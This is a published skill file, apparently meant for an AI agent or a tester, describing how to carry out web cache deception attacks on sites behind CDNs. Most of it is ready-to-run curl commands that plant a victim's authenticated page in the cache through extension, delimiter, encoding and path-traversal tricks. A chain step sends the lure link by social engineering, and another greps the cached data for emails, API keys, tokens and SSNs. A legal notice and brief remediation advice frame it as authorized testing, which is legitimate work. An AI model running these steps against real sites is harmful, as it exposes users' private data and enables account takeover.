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PublishedJuly 12, 2026 at 10:59 AM
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SKILL.md8.5 KBactive
SKILL.md · 226 lines · 8.5 KB
name: performing-web-cache-deception-attack description: Execute web cache deception attacks by exploiting path normalization discrepancies between CDN caching layers and origin servers to cache and retrieve sensitive authenticated content. domain: cybersecurity subdomain: web-application-security tags:
- web-cache-deception
- cdn-attack
- cache-poisoning
- path-normalization
- cloudflare
- cache-key
- static-resource
version: '1.0' author: mahipal license: Apache-2.0 nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
mitre_attack:
- T1190
- T1059.007
- T1505.003
- T1083
- T1078.004
Performing Web Cache Deception Attack
When to Use
- When testing applications behind CDNs or reverse proxies (Cloudflare, Akamai, Varnish, Nginx)
- During assessment of authenticated page caching behavior
- When evaluating path normalization differences between caching and origin layers
- During bug bounty hunting on applications with aggressive caching policies
- When testing for sensitive data exposure through cache layer misconfiguration
Prerequisites
- Understanding of HTTP caching mechanisms (Cache-Control, Vary, Age headers)
- Knowledge of CDN path normalization and cache key construction
- Burp Suite for intercepting and crafting requests
- Two browser sessions (authenticated victim and unauthenticated attacker)
- Understanding of URL path parsing differences across technologies
- Familiarity with common CDN platforms (Cloudflare, Akamai, Fastly, AWS CloudFront)
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1 — Identify Caching Layer and Behavior
bash
# Determine if a caching layer existscurl -I http://target.com/account/profile# Look for: X-Cache, CF-Cache-Status, Age, Via, X-Varnish headers# Check caching rules for static extensionscurl -I "http://target.com/static/style.css"# Look for: X-Cache: HIT, CF-Cache-Status: HIT, Age: >0# Identify which extensions are cachedfor ext in css js png jpg gif svg ico woff woff2 pdf; doecho -n "$ext: "curl -sI "http://target.com/test.$ext" | grep -i "x-cache\|cf-cache"done
Step 2 — Test Path-Based Cache Deception
bash
# Classic web cache deception: append static extension to dynamic URL# Victim visits: http://target.com/account/profile/nonexistent.css# If origin returns profile page and CDN caches it based on .css extension:# Step 1: As victim (authenticated), visit:curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/anything.css"# Step 2: As attacker (unauthenticated), request same URL:curl "http://target.com/account/profile/anything.css"# If victim's profile data is returned, cache deception is confirmed# Test various extensionsfor ext in css js png jpg svg ico woff2; docurl -b "session=VICTIM_SESSION" "http://target.com/account/profile/x.$ext" -o /dev/nullsleep 2echo -n "$ext: "curl -s "http://target.com/account/profile/x.$ext" | head -c 200echodone
Step 3 — Exploit Delimiter-Based Discrepancies
bash
# Use path delimiters that CDN and origin interpret differently# Semicolon delimiter (ignored by CDN, processed by origin)curl -b "session=VICTIM" "http://target.com/account/profile;anything.css"# Encoded characterscurl -b "session=VICTIM" "http://target.com/account/profile%2Fstatic.css"curl -b "session=VICTIM" "http://target.com/account/profile%3Bstyle.css"# Null byte injectioncurl -b "session=VICTIM" "http://target.com/account/profile%00.css"# Fragment identifier abusecurl -b "session=VICTIM" "http://target.com/account/profile%23.css"# Dot segment normalizationcurl -b "session=VICTIM" "http://target.com/static/..%2Faccount/profile"
Step 4 — Test Normalization Discrepancies
bash
# Path traversal normalization differences# CDN normalizes: /account/profile/../static/x.css -> /static/x.css (cached)# Origin sees: /account/profile (dynamic page returned)curl -b "session=VICTIM" "http://target.com/static/../account/profile"# CDN may cache as /account/profile if it normalizes differently than origin# Encoded path traversalcurl -b "session=VICTIM" "http://target.com/static/..%2faccount/profile"# Case sensitivity differencescurl -b "session=VICTIM" "http://target.com/account/profile/X.CSS"# Double-encoded pathscurl -b "session=VICTIM" "http://target.com/account/profile/%252e%252e/static.css"
Step 5 — Exploit Cache Key Manipulation
bash
# Identify cache key components# CDN may use: scheme + host + path (excluding query string)# Test if query string affects cachingcurl -b "session=VICTIM" "http://target.com/account/profile?cachebuster=123.css"# Test if the CDN uses the full path or normalized path as cache keycurl -b "session=VICTIM" "http://target.com/account/profile/./style.css"curl "http://target.com/account/profile/./style.css" # Check if cached# Header-based cache key manipulationcurl -b "session=VICTIM" -H "X-Original-URL: /account/profile" \"http://target.com/static/cached.css"
Step 6 — Verify and Document the Attack
bash
# Full attack chain:# 1. Craft malicious URL: http://target.com/account/profile/x.css# 2. Send URL to victim (via social engineering, email, etc.)# 3. Victim clicks link while authenticated# 4. CDN caches the authenticated response# 5. Attacker requests the same URL without authentication# 6. CDN serves cached authenticated content to attacker# Verify cache statuscurl -I "http://target.com/account/profile/x.css"# Confirm: X-Cache: HIT or CF-Cache-Status: HIT# Check what sensitive data is exposedcurl -s "http://target.com/account/profile/x.css" | grep -i "email\|name\|token\|api_key\|ssn"
Key Concepts
| Concept | Description | |
|---|---|---|
| Cache Deception | Tricking CDN into caching authenticated dynamic content as static resource | |
| Path Normalization | How CDN and origin differently resolve path segments (../, ;, encoded chars) | |
| Cache Key | The identifier CDN uses to store/retrieve cached responses (typically URL path) | |
| Static Extension Trick | Appending .css/.js/.png to dynamic URLs to trigger caching behavior | |
| Delimiter Discrepancy | Characters (;, ?, #) interpreted differently by cache vs. origin server | |
| Cache Poisoning vs Deception | Poisoning modifies cache for all users; deception caches specific victim data | |
| Vary Header | HTTP header controlling which request attributes affect cache key |
Tools & Systems
| Tool | Purpose | |
|---|---|---|
| Burp Suite | HTTP proxy for crafting cache deception requests | |
| curl | Command-line testing of cache behavior and response headers | |
| Web Cache Vulnerability Scanner | Automated tool for detecting cache deception/poisoning | |
| Param Miner | Burp extension for discovering unkeyed cache parameters | |
| Cloudflare Diagnostics | Analyzing CF-Cache-Status and cf-ray headers | |
| Varnish CLI | Direct cache inspection for Varnish-based setups |
Common Scenarios
- Profile Data Theft — Cache authenticated user profile pages containing PII (email, address, phone) by appending .css extension to profile URLs
- API Token Exposure — Cache API dashboard pages showing tokens and secrets through path manipulation on CDN
- Account Takeover — Cache pages containing session tokens or CSRF tokens, then use stolen tokens for account takeover
- Financial Data Exposure — Cache banking or payment pages showing account balances and transaction history
- Admin Panel Caching — Cache admin pages accessible through delimiter-based path confusion on CDN
Output Format
## Web Cache Deception Report- **Target**: http://target.com- **CDN**: Cloudflare- **Vulnerability**: Path-based cache deception via static extension appending### Cache Behavior Analysis| Extension | Cached | Cache-Control | TTL ||-----------|--------|---------------|-----|| .css | Yes | public, max-age=86400 | 24h || .js | Yes | public, max-age=86400 | 24h || .png | Yes | public, max-age=604800 | 7d |### Exploitation Results| Victim URL | Cached Data | Sensitive Fields ||-----------|-------------|-----------------|| /account/profile/x.css | Full profile page | Email, Name, API Key || /account/settings/x.js | Settings page | 2FA backup codes |### Remediation- Configure CDN to respect Cache-Control: no-store on dynamic pages- Implement Vary: Cookie header on authenticated endpoints- Use path-based routing rules that reject unexpected extensions- Enable consistent path normalization between CDN and origin